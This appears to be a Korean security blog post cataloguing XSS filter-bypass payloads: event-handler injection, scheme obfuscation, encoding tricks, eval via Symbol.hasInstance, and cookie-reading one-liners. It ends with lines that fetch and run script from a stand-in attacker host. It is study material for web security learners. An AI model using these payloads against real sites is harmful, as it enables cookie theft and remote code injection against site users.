Tyojong
[XSS] 필터링 우회 본문
이벤트 핸들러 (script태그 우회)
onload
해당 태그가 요청하는 데이터를 성공적으로 로드한 후에 실행
<img src="https://tyojongblog.site/valid.jpg" onload="alert('1')">
onerror
해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행
<img src=x onerror="alert('1')">
onfocus
input 태그에 커서를 클릭하여 포커스가 되면 실행
autofocus 속성을 이용해 자동으로 포커스 시키거나, URL의 hash부분에 input태그의 id 속성 값 입력 (ex. https://tyojongblog.site/#inputID) 를 넣어 자동으로 포커스 되도록 한다.
<input type="text" id="inputID" onfocus="alert('1')" autofocus>
문자열 치환 필터링 우회
script 라는 키워드를 제거하는 필터링이면 scrscriptipt
onerror 라는 키워드를 제거하는 필터링이면 oneonerrorrror
활성 하이퍼링크 (javascript:, Html Entity Encoding)
javascript: 스키마 사용 가능할 때
a 태그
<a href="javascript:alert('1')">click</a>
iframe 태그
<iframe src="javascript:alert('1')">
javascript: 스키마 사용 불가능할 때
정규화
브라우저들이 URL을 사용할 때 동일한 리소스를 나타내는 서로 다른 URL들을 동일한 형태로 변환하는 정규화 과정을 거친다.
이 과정에서 \x01, \x04, \t 같은 특수문자들이 제거되고 스키마의 대소문자가 통일된다.
<a href="\1\4jAVasC\triPT:alert('1')">Click</a>
HTML Entity Encoding
<a href="\1JavasCr\tip&tab;:alert('1');">Click</a>
URL 객체를 통해 URL을 직접 정규화할 수 있다.
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
태그와 속성 기반 필터링
대문자 or 소문자만 인식하는 필터링 우회
<sCRipT>alert(document.cookie)</scriPT>
잘못된 정규표현식을 사용한 필터링 우회
<script src="data:,alert('1')"></script>
<img src=""\nonerror="alert(document.cookie)"/>
특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터링
태그 검사 우회
<video><source onerror="alert('1')"/></video>
<body onload="alert('1')"/>
iframe 태그의 src 속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드를 삽입하는 것이 가능
혹은 srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것도 가능
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
자바스크립트 함수 및 키워드 필터 (따옴표, 괄호 우회)
unicode escape sequence 를 통한 우회
\u0061lert(document.cookie); // alert(document.cookie)
computed member access 를 이용한 우회
특정 속성에 접근할 때 속성 이름 동적으로 계산하는 기능
document["coo"+"kie"] == document["cookie"] == document.cookie
구문 | 대체 구문 |
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 | window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 |
window | self, this |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 |
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
isNaN['constr'+'uctor'](alert('1'));
문자열 선언
'(따옴표) 또는 "(쌍따옴표)가 필터링 될 경우
`(백틱)을 사용
var a = "aler";
var b = `t('1')`;
var result = `${a}${b}` => "alert('1')"
eval(result)
따옴표, 쌍따옴표, 백틱 모두 사용 불가능할 경우
RegExp 객체 사용
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
String.fromCharCode 함수 사용 (아스키코드)
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
기본 내장 함수나 객체의 문자 사용
내장 함수나 객체를 toString 함수를 이용하여 문자열로 변경하여 사용
내장 함수나 객체로부터 한 글자씩 가져와 원하는 문자열을 만든다.
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
숫자 객체의 진법 변환
문자를 36진수로 변환하여 문자 생성
var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
함수 호출
자바스크립트 함수에서 괄호가 필터링 될 경우
`백틱 사용 가능
alert`1`;
괄호와 백틱 모두 필터링 될 경우
javascript: 스키마를 이용한 location 변경
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
Symbol.hasInstance 오버라이딩 (괄호와 백틱 필터링 될 때 eval을 사용하려면)
Symbol.hasInstance well-know symbol을 이용하면 instanceof 연산자를 오버라이드(재정의)할 수 있다.
즉, 0 instanceof C 를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof연산자의 결과 값으로 사용할 수 있다.
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
document.body.innerHTML
document.body.innerHTML 에 코드를 추가하면 HTML코드 문서에 추가 됨. 이를 이용하여 자바스크립트 코드 실행 가능
innerHTML 로 HTML코드를 실행할 때 보안 상 <script>태그를 삽입해도 실행되지 않는다. 때문에 이벤트 핸들러를 사용해 코드를 실행한다.
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
Boolean
decodeURI함수는 URL 인코딩 된 문자열을 디코딩한다.
atob함수는 base64 인코딩 된 문자열을 디코딩한다.
https://onlinetexttools.com/url-encode-text
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
[URL+[]][0][12] ⇒ ‘(’
[URL+[]][0][13] ⇒ ‘)’
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
그 외
디코딩 전 필터링
더블 인코딩으로 우회 가능
길이 제한
location.hash
url의 fragment에 스크립트를 작성 후 fragment부분을 추출하여 eval() 로 실행한다.
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
쿠키에 페이로드를 저장하는 방식
외부 자원을 이용한 공격 방식
import("http://malice.tyojongblog.site");
var e = document.createElement('script')
e.src='http://malice.tyojongblog.site';
document.appendChild(e);
fetch('http://malice.tyojongblog.site').then(x=>eval(x.text()))
'web > basic knowledge' 카테고리의 다른 글
[SQLI] DBMS 버전 정보 (0) | 2025.07.21 |
---|---|
[SQLI] DB 종류 별 System Table (0) | 2025.07.21 |